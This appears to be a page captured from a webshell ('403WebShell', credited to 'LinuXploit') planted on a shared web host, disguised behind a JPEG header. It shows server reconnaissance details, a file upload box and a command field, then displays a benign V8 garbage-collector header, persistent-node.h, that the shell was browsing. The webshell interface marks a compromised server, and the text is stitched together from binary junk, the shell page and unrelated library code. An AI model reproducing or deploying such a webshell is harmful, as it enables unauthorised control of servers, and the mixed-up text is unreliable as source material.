JFIF ( %!1"%)-...383.7(-.+  -%&--------------------------------------------------"J !1"AQaq2BR#r3Sbs4T$Dd(!1"2AQaq# ?q& JX"-` Es?Bl 1( H6fX[vʆEiB!j{hu85o%TI/*T `WTXط8%ɀt*$PaSIa9gkG$t h&)ٞ)O.4uCm!w*:K*I&bDl"+ ӹ=<Ӷ|FtI{7_/,/T ̫ԷC ȷMq9[1w!R{ U<?СCԀdc8'124,I'3-G s4IcWq$Ro瓩!"j']VӤ'B4H8n)iv$Hb=B:B=YݚXZILcA g$ΕzuPD? !զIEÁ $D'l"gp`+6֏$1Ľ˫EjUpܣvDت\2Wڰ_iIْ/~'cŧE:ɝBn9&rt,H`*Tf֙LK$#d "p/n$J oJ@'I0B+NRwj2GH.BWLOiGP W@#"@ę| 2@P D2[Vj!VE11pHn,c~T;U"H㤑EBxHClTZ7:х5,w=.`,:Lt1tE9""@pȠb\I_IƝpe &܏/ 3, WE2aDK &cy(3nI7'0W էΠ\&@:נ!oZIܻ1j@=So LJ{5UĜiʒP H{^iaH?U2j@<'13nXkdP&%ɰ&-(<]Vlya7 6c1HJcmǸ!˗GB3Ԏߏ\=qIPNĉA)JeJtEJbIxWbdóT V'0 WH*|D u6ӈHZh[8e  $v>p!rIWeB,i '佧 )g#[)m!tahm_<6nL/ BcT{"HSfp7|ybi8'.ih%,wm  403WebShell
403Webshell
Server IP : 88.222.222.205  /  Your IP : 216.73.217.6
Web Server : LiteSpeed
System : Linux id-dci-web1986.main-hosting.eu 5.14.0-611.26.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Jan 29 05:24:47 EST 2026 x86_64
User : u686484674 ( 686484674)
PHP Version : 8.0.30
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/root/opt/alt/alt-nodejs24/root/usr/include/node/cppgc/internal/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/opt/alt/alt-nodejs24/root/usr/include/node/cppgc/internal/persistent-node.h
// Copyright 2020 the V8 project authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.

#ifndef INCLUDE_CPPGC_INTERNAL_PERSISTENT_NODE_H_
#define INCLUDE_CPPGC_INTERNAL_PERSISTENT_NODE_H_

#include <array>
#include <memory>
#include <vector>

#include "cppgc/internal/logging.h"
#include "cppgc/trace-trait.h"
#include "v8config.h"  // NOLINT(build/include_directory)

namespace cppgc {
namespace internal {

class CrossThreadPersistentRegion;
class FatalOutOfMemoryHandler;
class HeapBase;
class RootVisitor;

// PersistentNode represents a variant of two states:
// 1) traceable node with a back pointer to the Persistent object;
// 2) freelist entry.
class PersistentNode final {
 public:
  PersistentNode() = default;

  PersistentNode(const PersistentNode&) = delete;
  PersistentNode& operator=(const PersistentNode&) = delete;

  void InitializeAsUsedNode(void* owner, TraceRootCallback trace) {
    CPPGC_DCHECK(trace);
    owner_ = owner;
    trace_ = trace;
  }

  void InitializeAsFreeNode(PersistentNode* next) {
    next_ = next;
    trace_ = nullptr;
  }

  void UpdateOwner(void* owner) {
    CPPGC_DCHECK(IsUsed());
    owner_ = owner;
  }

  PersistentNode* FreeListNext() const {
    CPPGC_DCHECK(!IsUsed());
    return next_;
  }

  void Trace(RootVisitor& root_visitor) const {
    CPPGC_DCHECK(IsUsed());
    trace_(root_visitor, owner_);
  }

  bool IsUsed() const { return trace_; }

  void* owner() const {
    CPPGC_DCHECK(IsUsed());
    return owner_;
  }

 private:
  // PersistentNode acts as a designated union:
  // If trace_ != nullptr, owner_ points to the corresponding Persistent handle.
  // Otherwise, next_ points to the next freed PersistentNode.
  union {
    void* owner_ = nullptr;
    PersistentNode* next_;
  };
  TraceRootCallback trace_ = nullptr;
};

class V8_EXPORT PersistentRegionBase {
  using PersistentNodeSlots = std::array<PersistentNode, 256u>;

 public:
  // Clears Persistent fields to avoid stale pointers after heap teardown.
  ~PersistentRegionBase();

  PersistentRegionBase(const PersistentRegionBase&) = delete;
  PersistentRegionBase& operator=(const PersistentRegionBase&) = delete;

  void Iterate(RootVisitor&);

  size_t NodesInUse() const;

  void ClearAllUsedNodes();

 protected:
  explicit PersistentRegionBase(const FatalOutOfMemoryHandler& oom_handler);

  PersistentNode* TryAllocateNodeFromFreeList(void* owner,
                                              TraceRootCallback trace) {
    PersistentNode* node = nullptr;
    if (V8_LIKELY(free_list_head_)) {
      node = free_list_head_;
      free_list_head_ = free_list_head_->FreeListNext();
      CPPGC_DCHECK(!node->IsUsed());
      node->InitializeAsUsedNode(owner, trace);
      nodes_in_use_++;
    }
    return node;
  }

  void FreeNode(PersistentNode* node) {
    CPPGC_DCHECK(node);
    CPPGC_DCHECK(node->IsUsed());
    node->InitializeAsFreeNode(free_list_head_);
    free_list_head_ = node;
    CPPGC_DCHECK(nodes_in_use_ > 0);
    nodes_in_use_--;
  }

  PersistentNode* RefillFreeListAndAllocateNode(void* owner,
                                                TraceRootCallback trace);

 private:
  template <typename PersistentBaseClass>
  void ClearAllUsedNodes();

  void RefillFreeList();

  std::vector<std::unique_ptr<PersistentNodeSlots>> nodes_;
  PersistentNode* free_list_head_ = nullptr;
  size_t nodes_in_use_ = 0;
  const FatalOutOfMemoryHandler& oom_handler_;

  friend class CrossThreadPersistentRegion;
};

// Variant of PersistentRegionBase that checks whether the allocation and
// freeing happens only on the thread that created the heap.
class V8_EXPORT PersistentRegion final : public PersistentRegionBase {
 public:
  V8_INLINE PersistentRegion(const HeapBase& heap,
                             const FatalOutOfMemoryHandler& oom_handler)
      : PersistentRegionBase(oom_handler), heap_(heap) {
    CPPGC_DCHECK(IsCreationThread());
  }
  // Clears Persistent fields to avoid stale pointers after heap teardown.
  ~PersistentRegion() = default;

  PersistentRegion(const PersistentRegion&) = delete;
  PersistentRegion& operator=(const PersistentRegion&) = delete;

  V8_INLINE PersistentNode* AllocateNode(void* owner, TraceRootCallback trace) {
    CPPGC_DCHECK(IsCreationThread());
    auto* node = TryAllocateNodeFromFreeList(owner, trace);
    if (V8_LIKELY(node)) return node;

    // Slow path allocation allows for checking thread correspondence.
    CPPGC_CHECK(IsCreationThread());
    return RefillFreeListAndAllocateNode(owner, trace);
  }

  V8_INLINE void FreeNode(PersistentNode* node) {
    CPPGC_DCHECK(IsCreationThread());
    PersistentRegionBase::FreeNode(node);
  }

 private:
  bool IsCreationThread();

  const HeapBase& heap_;
};

// CrossThreadPersistent uses PersistentRegionBase but protects it using this
// lock when needed.
class V8_EXPORT PersistentRegionLock final {
 public:
  PersistentRegionLock();
  ~PersistentRegionLock();

  static void AssertLocked();
};

// Variant of PersistentRegionBase that checks whether the PersistentRegionLock
// is locked.
class V8_EXPORT CrossThreadPersistentRegion final
    : protected PersistentRegionBase {
 public:
  explicit CrossThreadPersistentRegion(const FatalOutOfMemoryHandler&);
  // Clears Persistent fields to avoid stale pointers after heap teardown.
  ~CrossThreadPersistentRegion();

  CrossThreadPersistentRegion(const CrossThreadPersistentRegion&) = delete;
  CrossThreadPersistentRegion& operator=(const CrossThreadPersistentRegion&) =
      delete;

  V8_INLINE PersistentNode* AllocateNode(void* owner, TraceRootCallback trace) {
    PersistentRegionLock::AssertLocked();
    auto* node = TryAllocateNodeFromFreeList(owner, trace);
    if (V8_LIKELY(node)) return node;

    return RefillFreeListAndAllocateNode(owner, trace);
  }

  V8_INLINE void FreeNode(PersistentNode* node) {
    PersistentRegionLock::AssertLocked();
    PersistentRegionBase::FreeNode(node);
  }

  void Iterate(RootVisitor&);

  size_t NodesInUse() const;

  void ClearAllUsedNodes();
};

}  // namespace internal

}  // namespace cppgc

#endif  // INCLUDE_CPPGC_INTERNAL_PERSISTENT_NODE_H_

Youez - 2016 - github.com/yon3zu
LinuXploit